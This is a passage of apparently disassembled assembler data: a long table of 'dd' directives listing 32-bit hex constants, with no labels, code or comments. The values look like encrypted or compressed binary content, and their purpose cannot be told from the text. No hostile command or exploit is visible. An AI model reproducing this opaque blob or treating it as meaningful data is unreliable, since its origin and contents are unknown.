		dd 1F13A0h, 96F30730h, 11C23078h, 40A4F9CCh, 1E55D8F6h
		dd 0C72C8E1h, 0E80EBE21h, 0AEBE4AA6h, 8D2A02D1h, 30D9D1DDh
		dd 0C6C42D68h, 6F7A8704h, 2327CBBh, 4953666Dh, 0D9A68AB4h
		dd 7D3D79A4h, 0D48FE067h, 0FA8A864Dh, 4DC35C95h, 0F3B25612h
		dd 2416E48Fh, 0E1C2D1B1h, 209E2F5Dh, 0CF819F5Fh, 0D74C453Bh
		dd 9A096BA8h, 65043D2Fh, 8E71A73Fh, 41D89A3Ah, 45DCCA93h
		dd 72E0F599h, 5B6AB968h, 0CBCFB709h, 0F4E36F3Fh, 0BF7E1FC8h
		dd 57672EC8h, 72485A41h, 465EF150h, 0A246D334h,	0F444BCEh
		dd 2DAD3E0Eh, 50AD2781h, 6F4E7088h, 0E3A5B8DFh,	9B14BF45h
		dd 3BAF2A90h, 815A2126h, 6B729920h, 37B816B5h, 38005571h
		dd 829C45AEh, 3CFC807Dh, 1DBC540Fh, 0A193A338h,	53ADC5FBh
		dd 56810C44h, 6362E71Bh, 9F778103h, 96BD935Ah, 0A0EE2C99h
		dd 2885CBAAh, 9A79C1BFh, 0DD733B3Bh, 0D7B77743h, 2588F949h
		dd 0EFC9BB91h, 5C0589D8h, 825A5382h, 80EDC2Ch, 0D8C5C680h
		dd 10897F68h, 0DAE6C003h, 0C2FE3113h, 18C0ABE8h, 46394D02h
		dd 0AADC9C60h, 51FF4799h, 0A477E58Eh, 0AC2F4609h, 747B868Bh
		dd 597BD013h, 0F5DB9E70h, 0B67EC637h, 0FE540923h, 0B7183326h
		dd 8846D2D9h, 0F4E0CAD7h, 4A45AC0Dh, 0FB496617h, 6E477CD3h
		dd 90986DADh, 7CC7D6E3h, 84439BECh, 2B055701h, 5AA8F60Fh
		dd 89C7A42Dh, 9ECE1789h, 460CB52Ah, 24F1E7FCh, 954F33B1h
		dd 15F25BF6h, 3BFD4CC2h, 4CC951E4h, 0DB132Ch, 0AC0E2640h
		dd 0ECB2AB39h, 0E811A53Fh, 837799BDh, 89418C00h, 0E981F998h
		dd 7E51D72Ah, 0CBFDE6D8h, 599DA6DDh, 0F849565Bh, 0C9580187h
		dd 3933D7ADh, 0C289719Eh, 2010BE1h, 0F0ED2CE4h,	8E5DC5AFh
		dd 4BED2E26h, 49780A46h, 5B6E3B14h, 2998F387h, 0AD42F753h
		dd 3E98DAB8h, 8DAF00C9h, 0BFD81B64h, 0A0F6B7CEh, 0AB102CC2h
		dd 29B6BDFh, 1BE2E1A1h,	0A3B6229Dh, 0B022681Fh,	814BCC4Eh
		dd 9972978h, 5DD544AFh,	0B97DD41Ah, 37A4F7CCh, 9A440093h
		dd 0B59B35D8h, 7BDFD9B6h, 16B5770Dh, 8F2DDD23h,	0FFEC4C24h
		dd 0FFE68EBEh, 0D7BE6393h, 37B97CFBh, 8FBFEB2Ch, 0C171BD4Eh
		dd 0BB4EA968h, 10933294h, 5C4693F7h, 599B0EA3h,	2A74E4DDh
		dd 92D36C22h, 76DA5999h
		dd 74E1D7B4h, 94D96557h, 0D4E49926h, 419C7523h,	3795704Dh
		dd 917E5AE4h, 0F9C9C054h, 50293494h, 0A278BEC4h, 893A9A8Bh
		dd 799DD434h, 3017291Fh, 26B4FEFBh, 308837Fh, 0AF2DA165h
		dd 0F5D8A97Eh, 0C9C1EDA9h, 27DFD4CEh, 0FDC3915Fh, 74F53B03h
		dd 9BB2AD39h, 9F09E9A9h, 0E33B0384h, 83AADCBCh,	2313F0D3h
		dd 2F8C3108h, 7AA1C606h, 9A1C88C7h, 0ABE9D8D0h,	4E18E2Bh
		dd 5FD7E70Fh, 0CD03DEE2h, 9F943145h, 0BE11D8CCh, 96F5997Ah
		dd 0CCB785E0h, 8C4F505Eh, 0D60C0FDEh, 0FD740E87h, 0AA14028Ah
		dd 3910A1F7h, 0C9383F23h, 5C7C3686h, 9DFA4733h,	0FBBBA55Ah
		dd 871A6588h, 0F9AFB990h, 290AF344h, 0B1DB8A62h, 0BE371A71h
		dd 8276358h, 0C48FFE19h, 5027519h, 2EE76008h, 0A42DB044h
		dd 0A3E07E2h, 4151310Eh, 0E8969574h, 0C15F2229h, 0A6A89692h
		dd 0FC4856E2h, 0B079CE89h, 61041B79h, 0B7082BD7h, 0AFC31302h
		dd 0FF8E4B01h, 1705905Dh, 9C0F7894h, 1A5D0215h,	2E38881h
		dd 0D62B9031h, 5D739A5Ah, 85468FB0h, 0ADBCF4C6h, 0E492BA3Ch
		dd 3BF613B2h, 412CD087h, 479F9DACh, 0DDB1BB27h,	0E4836AE0h
		dd 0D5A1C0CEh, 8B3FB80Ch, 0F3E6676h, 33E71FC1h,	0F0AE6541h
		dd 23BEC631h, 2867771Dh, 9C362B3Eh, 178D65A1h, 14E5777Ah
		dd 0E0777905h, 0B163A68Ch, 0C2E177EDh, 0A1FD9F6Ah, 596FD858h
		dd 8EEE61BEh, 0B6030281h, 3B14A43Ch, 50885C60h,	6CEF2B6Dh
		dd 0A78AEA6h, 801005BFh, 9B30296Bh, 3AF3C3F7h, 7625B6A2h
		dd 0DD1E3449h, 367332EEh, 0A5641761h, 0D28F6DFCh, 81127BA7h
		dd 64196854h, 9ED670A9h, 90BA99D3h, 0E158EB67h,	32B00F58h
		dd 42D13476h, 25C7EC88h, 48E244B5h, 55BE5FE6h, 0D5B09306h
		dd 5C1E5F01h, 83E37AB5h, 0A4DE074Bh, 7FB90CBEh,	33EB1745h
		dd 82F7E695h, 0EEC8FC4Dh, 5B22DDD9h, 8278706Bh,	1F8AF2DCh
		dd 1A46D4C1h, 5F2634A9h, 98FA8B36h, 75D3F7Ch, 4B35FA5Ch
		dd 21745536h, 5161C8EAh, 825A5117h, 0F7EB8107h,	37DCBE8Eh
		dd 4913E300h, 0AD9F48DFh, 0B220E257h, 0D2F970Ch, 0DDCB2F5Bh
		dd 73C70EE6h, 164A704Eh, 8B486190h, 0D0441D7h, 55FF6758h
		dd 3196612Bh, 66A606B7h, 0EF9BAE44h, 2C07059Ch,	4CD7FB12h
		dd 9F5E2FD9h, 0FA7F52C7h, 0B6E77701h, 0F99F552Bh, 0D1C6BBF6h
		dd 2DA858Ah, 621398EAh,	6088690Eh, 0F7EA4007h, 4CE80938h
		dd 1FA58FD6h, 40FBE1D1h, 38F789FDh, 9F6134BEh, 0D45D9D3Ah
		dd 0F29C7A56h, 6D846C85h, 2C0E61DCh, 0D837D16Fh, 92DBB8D7h
		dd 0A6A0671Eh, 0FBA91981h, 0CD84DBEFh, 0E43948A2h, 69D16F32h
		dd 0FFCA9BEBh, 419B53E3h, 532A413h, 5CB9338Bh, 53C7F5h
		dd 0D32EFCEBh, 0D42F1C50h, 84066135h, 0B535DC68h, 3D41DFAAh
		dd 82EB6483h, 0F0CA277Bh, 0A3677BFBh, 0D32E6407h, 0B3CF0AC7h
		dd 0A776068Ch, 1E6339BAh, 70638606h, 0BD126A0Bh, 944975Fh
		dd 0A671346Fh, 44BB2316h, 500CC04Ch, 0C48938A3h, 13A60FD7h
		dd 0AB1574D9h, 0E13EDB25h, 0E9C1B049h, 0FBF46102h, 14F23F81h
		dd 0C88AA613h, 6DFFA5CFh, 35498B5Eh, 5050881Ch,	0D152E0Bh
		dd 5C60E989h, 3E68167Dh, 0FCD060B5h, 0B132CE20h, 0F4D6844Ch
		dd 0DE180F53h, 5C3D6839h, 0C27C98F9h, 0CA669B53h, 849E3BBDh
		dd 72374853h, 93362D89h, 0E5CE8EB3h, 0EA9E23C4h, 61CDCF4Eh
		dd 0DB0BC89h, 2D5A6D41h, 9E607D4Bh, 2A527E7Eh, 40C16CF2h
		dd 0A7F93852h, 0B5BC614Eh, 0E270254Eh, 6C4D47E2h, 536C73F1h
		dd 8319B78h, 3CBECD8Eh,	1167C5E2h, 0C736F9A5h, 0F044D199h
		dd 0E46966Bh, 70F97595h, 5CE8D7EDh, 4CF427B2h, 0B12AD747h
		dd 59215793h, 0C67CDCD0h, 84B7E754h, 0D1489C9Bh, 7FF848B3h
		dd 0DF7FC4A4h, 0FB580860h, 8E37A9F1h, 10F43410h, 0A01867B1h
		dd 0F53D9D8Eh, 0A40A74E5h, 0AFB4451Ch, 0A00F2BEAh, 990C26Bh
		dd 5C348F75h, 8AFD3AFh,	7CF3A0D5h, 16C4E3ADh, 898FB724h
		dd 0E5487323h, 1B2C5265h, 0DAC4EB91h, 90A46D36h, 3EDB4E42h
		dd 0FDDACC54h, 5EDDCFC4h, 7FBDCC18h, 4F666B0h, 358B0D8Fh
		dd 70AAA7C6h, 4142B00Fh, 0C934F78Fh, 8B96784Dh,	2168B58Bh
		dd 56BA82C9h, 0D762D4F8h, 0B72A2DD9h, 0DDC7726Eh, 8A5AF729h
		dd 0D5A41A3Ah, 57151D27h, 9C4C154Ah, 50480C9Eh,	3A72F79Ah
		dd 0D9F8B091h, 0DAC54CCAh, 97536EADh, 7EEE86F5h, 0EE5010E1h
		dd 0B3EA9E44h, 0F953DCAh, 735BF0B2h, 0AB4AB50h,	5DCD447Fh
		dd 0BB5BA60Ch, 63227221h, 32A89290h, 7AAEC18Eh,	56825B97h
		dd 0D57165E2h, 0D3C90EE3h, 4A4B1BC7h, 880C1941h, 4C7D3CBAh
		dd 181AC72Eh, 65D83D2h,	0AADA2DEDh, 0AA802614h,	7E4309D5h
		dd 0C3ED2AFh, 0CFB4B1CEh, 99B70EDDh, 6189FF23h,	634672A7h
		dd 3291AED0h, 95451A1Ah, 0BAAD282Bh, 593AB2C8h,	9D95BCC1h
		dd 0E9C287BBh, 0B415D689h, 8C7AA7FDh, 0AADF98D6h, 61AD1A2Fh
		dd 87A2ABD5h, 830F8560h, 756C4C5Ah, 1EF09B95h, 0D73028E7h
		dd 0F7CA3821h, 0A30C9968h, 702E0343h, 91E8E599h, 8304671Ch
		dd 0D2A41A7Fh, 0DD4BD121h, 42A4D7C5h, 23DE8256h, 9E79ACBBh
		dd 0DA29A15Fh, 7359B68Ch, 0CFF5C302h, 0C4A8DBB0h, 0C41BDA8Ch
		dd 96164ECh, 1A90DFCAh,	941F6BD1h, 9023E54Ah, 45230883h
		dd 0EE123F1Ch, 6D26B922h, 5F9887F7h, 9C23BF21h,	858D6814h
		dd 985E5A14h, 202A0916h, 0BFB402Bh, 8B82229Bh, 0FD4E04C8h
		dd 14C94EB3h, 7DB15F29h, 0B6E767A9h, 11541486h,	0BF8AD18Eh
		dd 0FD4A9ADBh, 8C57629Fh, 0E4AC8FD4h, 228251ADh, 0ADE0A55Ah
		dd 0C3E80E58h, 4A79AED2h, 0EF5B2D45h, 5CA9177Eh, 0B29C012Bh
		dd 912B9BF0h, 2ECC4D53h, 0FFBDF098h, 7493EDEh, 87972E5Eh
		dd 0AE5A49EAh, 0D18AC554h, 6AB084Ch, 137FB728h,	0E9039816h
		dd 0FF79635Fh, 77949B6Ah, 0DFC0CB4Fh, 5C726F05h, 747729F1h
		dd 5E720DF0h, 29E91A78h, 0B71E99FFh, 96A1C212h,	0E0BF16BBh
		dd 97F1B50Bh, 0BE7B05A0h, 19C3CF5Eh, 0D6670A82h, 0DEFABD39h
		dd 0D071F987h, 0DC217CE2h, 0EC8A5500h, 0B984161h, 317C1ABBh
		dd 0CE90F777h, 791CD661h, 0B8E0F365h, 2086BEA7h, 2C49BBF7h
		dd 0A2EEED39h, 0FBDBD8A0h, 39541495h, 0DF26B870h, 0DDCAD32h
		dd 0B5E63E6h, 400E965h,	91FED6CDh, 48E8AE30h, 0FA1536Ch
		dd 0ECAC076Ch, 0D9189C34h, 49AC6D87h, 0BD9DCF46h, 0CF4C2DB5h
		dd 1315616Fh, 5A5C2E70h, 0D8D8BF4h, 4ECEC955h, 3AC11A43h
		dd 582073D2h, 5037A2D0h, 6EB5A6E9h, 87B35005h, 1DBAC897h
		dd 0D95437Bh, 122DE407h, 0DE9BC10Fh, 1BD05064h,	367E561h
		dd 9162048h, 44DE0367h,	304E6632h, 7434FCB5h, 628B000Fh
		dd 706BD4C7h, 937816AFh, 92F403DAh, 5037E8DBh, 51FFBC8Bh
		dd 234085CFh, 35775E1Ch, 9FD4490Dh, 0CC47F794h,	0B9F284EDh
		dd 0CDF1DBE8h, 0BE96D33Eh, 92577206h, 9BA0A8E9h, 0CDBFF409h
		dd 0BB09EA17h, 0DFAD07E6h, 3316FC4Eh, 0E1F1244Fh, 0D7B1E82Ch
		dd 0FF24D3EDh, 78EAB53Ch, 5DCEFD9Fh, 75C6E6FEh,	5E8ABB9Dh
		dd 6B4B0C4Eh, 0ECBED569h, 131CEBD0h, 93C00AC0h,	0F8C136F6h
		dd 3875CA5Eh, 4D114FE9h, 0B14D051Ah, 6F26C640h,	0FE5BB49Fh
		dd 67B72327h, 877A26h, 0ACADD398h, 33A6B824h, 3AA26AFh
		dd 0E53AB0F3h, 8AB5F66Dh, 0D1ED4642h, 0F347D0BEh, 53EA361Fh
		dd 9105F63Eh, 0E9851009h, 0D026AD48h, 0C1D4AAEDh, 5D21387Fh
		dd 1E0AA5CAh, 0B06513A8h, 0E6D39C83h, 0EC3D5181h, 0F22D325h
		dd 543EDB6Fh, 0A573EFB2h
		dd 141A0A1Eh, 761C9586h, 3961DCCBh, 1EC03F9Bh, 0B1821988h
		dd 0A26AE4Eh, 9C4BAE1h,	0C21C3558h, 0AC7D0CD8h,	7DEA827Ah
		dd 78C0E9B9h, 40359D62h, 1C75740Ch, 682FA17Ch, 74F8BBDFh
		dd 0F3BDC7D1h, 0C8E5710Ah, 0BCE91DACh, 392387Dh, 4080AFDDh
		dd 0C1FAFF6h, 9408F2D7h, 0E783F9A8h, 1203A45h, 173FDB60h
		dd 0D8201273h, 0F362FF2Ch, 19C4F798h, 0A4E080D6h, 45D1718Dh
		dd 5892CF81h, 810501E8h, 0D7BAB430h, 2312F1A6h,	21F6EF8h
		dd 0C32DA6EDh, 97D53CEFh, 21792DC1h, 0CDCC863Dh, 4342A76Eh
		dd 0D09F862Ah, 414F90B3h, 0BC5225E4h, 4EACDB13h, 0DA35C825h
		dd 0F385F729h, 27E81A5Ch, 0DDC146A4h, 0A11022B1h, 297D8BBAh
		dd 61186005h, 27067689h, 0D82A5364h, 9A240F28h,	0F811F3FFh
		dd 8D44BE7Fh, 9753F91Bh, 0DF7897F6h, 8AB591A2h,	7128F940h
		dd 9E45B795h, 0A276BA60h, 5E18D5F1h, 41A4341Ch,	36922628h
		dd 0A0C447AAh, 462A3876h, 0ECCDCAFAh, 0AAD231CDh, 0C866070Ah
		dd 0A6A3C1CCh, 0F81FF62Eh, 6540D112h, 0F89D3459h, 0C9308B31h
		dd 377A9B2Ah, 0F4A8DBC9h, 0E5FAEDE6h, 0FD3CA067h, 0DED5DB0Bh
		dd 0EF216DAEh, 0B5C7CFFCh, 4E51F56h, 0EF2D2BC3h, 2AB140Ah
		dd 95597E05h, 266211DCh, 0DE531612h, 0A408CBFBh, 194F4D5Ch
		dd 836BE97Eh, 0E6DD250Ah, 32363889h, 22174551h,	0D48F06E5h
		dd 4EA2CE7h, 9C4B2A97h,	3F8E5FC6h, 0DAA65320h, 68C68100h
		dd 11A72D65h, 386351A9h, 51C0CC0h, 0EC099E72h, 1BDC0BAEh
		dd 131EE1A1h, 0A974A4BDh, 551BD894h, 316881Eh, 5E930041h
		dd 0A5C67B2Bh, 0DE52F714h, 657E4A3Ch, 6DE208F0h, 86C35719h
		dd 55CC5957h, 741695C0h, 9EECA9B4h, 0F819383Bh,	0A1BBD023h
		dd 58DD7BCBh, 578BD92Ch, 0B878C3ACh, 5C96B1ABh,	8ADCD2B4h
		dd 6474E18Bh, 2F195002h, 0CA3956E7h, 0B8F2FFCAh, 0FE26EDABh
		dd 0DED1498Fh, 9F2DDCDFh, 2A2C1C3Dh, 6382E2CFh,	428DB63Eh
		dd 13BD05F6h, 153D6D7Ah, 0CD7BE7DFh, 69A1310Dh,	27436FE8h
		dd 0E16FB20Ah, 0AED972F2h, 853D2E97h, 39FD23E5h, 85E2CD33h
		dd 0BDA2729Dh, 0E997815h, 387A9A12h, 23A01887h,	0CE24BCh
		dd 86DDEB05h, 0C123AEC3h, 0B8F19025h, 0D94135C6h, 7D3542E9h
		dd 82D9FF06h, 35E9E92Bh, 3A7074C5h, 0A0F121Dh, 0D2CCA2C9h
		dd 1CF9B1D7h, 7E0BCD2Ch, 85B7AED2h, 0BA78B032h,	0B3CBE5D7h
		dd 262E3D44h, 0E93E456Ch, 457BD54Bh, 0A3BF8005h, 94412A53h
		dd 7563C3Ch, 7A03461Fh,	0A5493887h, 66EFE73Ch, 0A2B69D3Fh
		dd 4FE38DC2h, 5D727CCEh, 62415CFEh, 504BCC94h, 82B5AE32h
		dd 0A001244Ch, 3BAA40Eh, 0BDB41D9Dh, 93B39128h,	3AA96038h
		dd 584E7C80h, 0A38165ACh, 76D6734Fh, 8940D8CCh,	0C65BAA92h
		dd 4662E1ACh, 0B597C102h, 0BE50A0BBh, 0BD3988F8h, 0D532D59Dh
		dd 13FFB208h, 0DB506FEh, 538D1324h, 0E45C11BBh,	9881890Bh
		dd 777760C9h, 7CD86328h, 9FC44FC8h, 4DBC7453h, 0CC8A1D99h
		dd 391BD4FCh, 0E71A0414h, 7BC5CA72h, 2F77C19Ah,	12584DB0h
		dd 0A99D624Dh, 8B397A7Dh, 7E07C8B1h, 0F36FBD93h, 0D057DB31h
		dd 0EF4C7851h, 0EEEEECA1h, 0AF54779Dh, 84725E4Fh, 99EB86D5h
		dd 0FA8C4C5Fh, 958A68C8h, 8563EFEEh, 1CA4E114h,	51B0EAB5h
		dd 567BE4B9h, 0EC544610h, 5027807Dh, 0B084938Dh, 0D8DC92B1h
		dd 5C343739h, 7B17B032h, 81662CE3h, 4814261h, 98E628E6h
		dd 0A77A9E91h, 749BDE29h, 0DCCCABE9h, 4624849h,	1FF62C2Ch
		dd 1A995917h, 3A6A757Ch, 2FCB7CBBh, 0D6640174h,	0CF363D37h
		dd 0B8128FE1h, 0FD2BAAA0h, 4E24FD3Dh, 2E759AD6h, 235613E0h
		dd 0D281FAEAh, 0D7ED6E7h, 1438BD3Dh, 5A42B0D1h,	17DDB630h
		dd 0F6677B54h, 0B8D99B59h, 4E24880Ch, 0A5D78E4Fh, 0FE8423DAh
		dd 24C7F6FFh, 0C7E46440h, 27336528h, 9125B549h,	960AAF86h
		dd 0E960C253h, 0D7EE2A4Dh, 0EE7B1326h, 492660D5h, 1A24762h
		dd 2A34E3DEh, 63FAEC2Bh, 0AB950C3h, 0F40C4F17h,	4CF689D2h
		dd 0DFB04EB9h, 0D54AECD1h, 7A64ED00h, 2F2DCC93h, 93F0EA16h
		dd 0C3B28E07h, 66F1C36h, 7761CF67h, 392A8F76h, 9B704849h
		dd 47CC22D1h, 437DB79Fh, 347EEAE5h, 2FFBD7EDh, 5F53234Bh
		dd 57E9A547h, 9B81AB27h, 0EFE38018h, 2C89BAADh,	996EE732h
		dd 0A2B59610h, 0F8F08084h, 0C30DA3E2h, 0B9BC1707h, 22DE2EA7h
		dd 6ECD7B4Dh, 0C9BA8AFEh, 55A781B4h, 8A363AE2h,	0A0B314F1h
		dd 9A46593Fh, 11BA60A6h, 7FC3D129h, 3A9809Bh, 5BC6365Dh
		dd 422A63ABh, 0AF572C1Fh, 9666DBFFh, 76F0FCD4h,	0A6AD6F80h
		dd 2C087433h, 22699291h, 8F650680h, 0DB304E0Bh,	52CB3239h
		dd 0F1FF8325h, 9360A778h, 28621037h, 6B7689F2h,	470FA8A2h
		dd 2329FF15h, 7E14261Fh, 1C3D4503h, 20DEA696h, 62AB93EAh
		dd 0B5E9EAEEh, 0F192223h, 1682DDCEh, 0D9A13B66h, 753F8C49h
		dd 0B94B1BB4h, 34FF97E0h, 7D7231C2h, 0D0B8962Fh, 8E708A80h
		dd 2D2A7185h, 1A9DB95Ch, 5491C336h, 0DBD7ECF3h,	846829DAh
		dd 84611651h, 0DD0F0631h, 65330868h, 1DA2CF32h,	0C230DE1Dh
		dd 814D89CAh, 10694DC2h, 4D3C5661h, 8093D77Bh, 0CA2F3FFh
		dd 0C5A279E4h, 22FA2B42h, 8F4D5780h, 379012E1h,	4301653h
		dd 0AEA766FBh, 33793EB0h, 84A814A1h, 1592D69Eh,	0C6312F6Dh
		dd 0D79FAFB7h, 0B11B1DE2h, 0CA970DF6h, 0B6878C9Eh, 0D446C1EBh
		dd 73FBBA47h, 9D800B22h, 3B634868h, 8D2C8015h, 5CE503DFh
		dd 0D8166789h, 2986C554h, 9EF09A08h, 76B5B667h,	216C9F30h
		dd 8713FFB2h, 1A76CD28h, 16E71E7h, 0E1FA4855h, 0EA0F260Eh
		dd 706B491Ch, 46ABC2A0h, 0C49B302Fh, 2F508A05h,	0DAA31042h
		dd 7DBC9EEAh, 7EF198F1h, 5A5F9273h, 7581F303h, 4B713F55h
		dd 1153D1C6h, 6CB528F6h, 43008B82h, 0C157EFAFh,	0E4119090h
		dd 0F761B32h, 8F88A981h, 22B3F2EBh, 0DB28687Ah,	74A9F674h
		dd 0C5B530DCh, 0C75D1489h, 0F52BFD89h, 0B8205F8Dh, 95FE77F4h
		dd 3EC9A3CCh, 80A4BFA0h, 7D7DF4FCh, 4D8BAB0Bh, 9FDF0927h
		dd 0C22AD3F7h, 4F148FE4h, 0C53BFDB8h, 0FA00BBE4h, 0CCBAB3CAh
		dd 0DD79C02Fh, 0C2474D8Dh, 10CAE744h, 8B6ED86Ch, 3ECDEF88h
		dd 80A0255Fh, 571FBE3Fh, 0D8F1E50h, 0D4B063A0h,	0E92F7925h
		dd 68CD0A93h, 0CCB7B4CEh, 97B2AAEAh, 0A18065F9h, 88777E52h
		dd 0AF2FA269h, 0A903B5E0h, 6485CB03h, 0BB643475h, 542489B8h
		dd 0D66E7F5Eh, 34E76320h, 8AFB67C9h, 0E0F05263h, 0D4A27882h
		dd 1D8FB583h, 64983DE8h, 44717DB2h, 0A205700Ch,	7C19030Dh
		dd 934DC39h, 1C4F789Bh,	129263A7h, 10B190DCh, 6CD32C75h
		dd 82F779FEh, 66BCC7E2h, 5832CC8h, 178F052Ch, 5B015CA7h
		dd 0B5B8B278h, 460DDEEDh, 0AA90670Eh, 1465F57Eh, 6925653Eh
		dd 0FEC9F8F5h, 0BC3A0C28h, 5351494Dh, 0D03F13E7h, 2D758D5Bh
		dd 0C341FD09h, 3E90EE60h, 62A597E2h, 0B4AC6C50h, 1BBFED11h
		dd 93BCF8C7h, 5F4ACF23h, 52F4EE7Ch, 0A4422547h,	0E25F6F07h
		dd 67685FF3h, 2E14CCF1h, 2CC4A1CDh, 0BC60BD64h,	0C0141844h
		dd 1970A7A8h, 0B0490F2Fh, 0D987DD3Fh, 0F36ECCAAh, 746B12C9h
		dd 0C10B46D5h, 0A96253B6h, 46A291BDh, 5BE28A25h, 5B9D89FCh
		dd 41FB4DF2h, 507C1E4Eh, 3CBBED7Ch, 0F18FA443h,	0ED9D1743h
		dd 15505152h, 9582F3A6h, 0AA2C2514h, 19EED56Ah,	0C454BDFFh
		dd 706351E3h, 0D0A3494Eh, 8CDF751Dh, 0AB491CEBh, 9A6FFD2h
		dd 3A915EDBh, 0A9BB3EDh
		dd 817AEE8Eh, 72D3EDC6h, 448805D4h, 79B4DB62h, 33C3E168h
		dd 6922D1AEh, 3D665C3Bh, 1AFCE528h, 0B9CB0D82h,	80DC394Dh
		dd 23D11C70h, 0C377535Ah, 7B7263FCh, 1506AE5Dh,	0E7C895ECh
		dd 52433422h, 604662ACh, 278D2AE6h, 9B602481h, 0F8E7B167h
		dd 0FB085E1Bh, 9800A7B3h, 27147132h, 0F58A6850h, 0E07674E6h
		dd 21799374h, 7B32BA74h, 0FF9F0FBFh, 0DEC8FD6Bh, 0CC19953Dh
		dd 2F878892h, 99E2D44Ch, 1636015h, 0C0AE018Bh, 0DECE1715h
		dd 9C251765h, 674DC647h, 0E9FF3053h, 0BB76C5BDh, 0A670457Fh
		dd 9A99C7C1h, 0D8E725A4h, 0DC1AD754h, 4616C973h, 28249A71h
		dd 0B418AC73h, 0B7BB9BA5h, 0C770DE3h, 0B6998F03h, 31C1F207h
		dd 8365885Ah, 6233F0E2h, 0B7B3EAC0h, 658DC53Eh,	9A0AF0A7h
		dd 221CAB59h, 0A8ECB162h, 71AD3A2Eh, 6B8C207Ch,	545C6024h
		dd 364B85B7h, 0DA7F976Dh, 0D4550A18h, 0D8699B0Bh, 5BC1A5Ah
		dd 0A0CE433Dh, 0C8321810h, 95A46DEBh, 0EF0F3905h, 525706BAh
		dd 584D3A5Ch, 4280AC4Eh, 0C3F1A147h, 7D9EFB09h,	4DB2D78Ch
		dd 0ABC4D1A9h, 30A7E8h,	99D4DD1Bh, 0E427EE43h, 17C3C2C6h
		dd 3A3F795Eh, 0C79E7AA1h, 6A7DF401h, 48F06E32h,	0B322BD64h
		dd 0E07DACA2h, 29902ADAh, 4E739437h, 0FB8FA35Ah, 18A23313h
		dd 1006EDBBh, 0B4042449h, 75764644h, 0C010979Ch, 647E781Ah
		dd 4923B5AAh, 4F3B8902h, 3923B95Ch, 140BBD19h, 35371B28h
		dd 0A8CF9E2Ch, 1FA4BC5h, 0F7A23715h, 97A394FEh,	18519361h
		dd 728E981Eh, 927D1AA4h, 0ABF34D69h, 1F5DC990h,	9C8C3FE4h
		dd 0D740CF7Bh, 1A540CD5h, 780E00Dh, 0E08D9268h,	4A3F8D0Fh
		dd 0AB18BA53h, 86BC2705h, 0CB7A737Eh, 4EF2A1C6h, 15B87031h
		dd 870C6B81h, 77E906FFh, 9D72B2BBh, 0C4E69F2Eh,	0F6A02861h
		dd 0A68411F0h, 0AF188758h, 0A27E1A0Eh, 8D22A48Ch, 0C91A91A9h
		dd 6C0070DAh, 7001CB02h, 1612995h, 2C1E07D3h, 9909A67Dh
		dd 0EEF4ACE4h, 0F1E3345Dh, 0C7E9B387h, 50F03EE4h, 551DFC9Bh
		dd 0AE8FA9B4h, 1651E9E2h, 126CAB04h, 2F44B6C4h,	0D6EDC9D7h
		dd 0A6D6456Ah, 47EA2B9Ch, 0BFD1254h, 5FA924Fh, 98BE1AC4h
		dd 0D8BF6312h, 0F0EE704Ah, 3CCB4E90h, 2C17A889h, 226E1DF4h
		dd 0FF540780h, 71C3AEDDh, 9B99C643h, 0E0783FFEh, 0B5DBE9DEh
		dd 6D56B80h, 47F630A9h,	106ECCDAh, 91923756h, 0E93073C2h
		dd 0E1494838h, 72A57DC4h, 0E9608755h, 0F3F2448Ah, 6DD1621Ch
		dd 51DFB1C5h, 0A3191666h, 9CBD7E7Fh, 571B0D5h, 0A2475AABh
		dd 72F3487h, 79B15048h,	4F5C4022h, 2055D57h, 0A8CD0335h
		dd 0C7207561h, 4D643A8h, 63C9615Ch, 265CA8C7h, 2FC553F8h
		dd 93B342C5h, 0E34C8EE7h, 383AEBE8h, 717FE97h, 79EDF85Bh
		dd 857CF6A8h, 0A4DF4A79h, 6CA2D2D1h, 85232DBCh,	174D9DD0h
		dd 0C4591CFBh, 98ABC3CFh, 0E4F86040h, 0CA0E3D7Ah, 12D82DC6h
		dd 12735671h, 35AB63D7h, 0D442AA71h, 0DCF0DBD2h, 0F1DC295Fh
		dd 6827E2BDh, 939E1CD0h, 7C9B208Fh, 230E7BBDh, 1F84398Eh
		dd 962E90F7h, 0C3D388A0h, 9D4EBC2Dh, 0BD5207A8h, 0FD16AE4Eh
		dd 0BA11C978h, 9908A73Bh, 0E042E87Ch, 0B94138C0h, 0C9B70333h
		dd 0F4EB8C7Ah, 263D201Bh, 0EEFC47F7h, 0F8A33363h, 0D772B238h
		dd 98F8E424h, 0D6598A6Dh, 8AF45171h, 0EE97857Ch, 0C55F9882h
		dd 0F71FEE43h, 2774906Dh, 0BEF6EAC0h, 2B14CD6Eh, 0FC2D4733h
		dd 580357DDh, 10476BFEh, 37395CF6h, 9706AE0Eh, 5F958A12h
		dd 91941584h, 0EE74BB8h, 0E89E851Ah, 7A384E6Ch,	719D50A2h
		dd 0FD45179Fh, 59E41AABh, 7EB41D78h, 0B8FE20A2h, 15FBB8E0h
		dd 58C2B065h, 9FAE1B20h, 7C53B079h, 971DB5DCh, 32505294h
		dd 6B6E9492h, 6DDBFF3Dh, 0F6832507h, 285FEFBFh,	85033DEAh
		dd 9E34802Ah, 5AC259B0h, 0A7ECCEFFh, 9F4D33h, 0D0F266FCh
		dd 0D7EFB782h, 0DDE326F8h, 2493C915h, 455C9B30h, 0E4BDDB8Dh
		dd 284A4922h, 83C70478h, 0A885B251h, 0A7DFE4BFh, 1C7F3B5Fh
		dd 7761C23Eh, 4B3CCB52h, 0B602BD02h, 3F50E4EEh,	83A02DDAh
		dd 44E0F5AFh, 0EDFC947Bh, 0BB7120B7h, 4DBA667Ch, 0F9F5E82Eh
		dd 0CE8C8D65h, 2A264974h, 2B5A0262h, 0C848153Fh, 9C0660ADh
		dd 0C99C762Dh, 51981D20h, 44D6D613h, 0B1CF7300h, 0A9479F1Ah
		dd 4BEC1755h, 8E84908Ah, 7543FB98h, 0A08A65F5h,	235201A0h
		dd 8564C9FAh, 1FBB88Dh,	7131E039h, 88A52BC1h, 0F95FF9B6h
		dd 0FD303CEFh, 5B46CC7Fh, 0F1F88236h, 0BA73F3Bh, 0D7D2880Fh
		dd 5153F867h, 8A76AC42h, 0AA71A1DDh, 0E00113B9h, 0CE0DD598h
		dd 53E7B1B0h, 9CBA68B1h, 72F9D47Bh, 26EE50AFh, 4FD6B771h
		dd 39CA9DE6h, 13F966F9h, 361FB81Eh, 0FF56EE1Ah,	9BAA527Eh
		dd 3C7F0AACh, 40D366Ah,	0E9CB167Dh, 5F38A669h, 0F7BEA05Eh
		dd 0C2D91575h, 0E492BACCh, 0D52D42DEh, 193EE670h, 6ADDCE4Bh
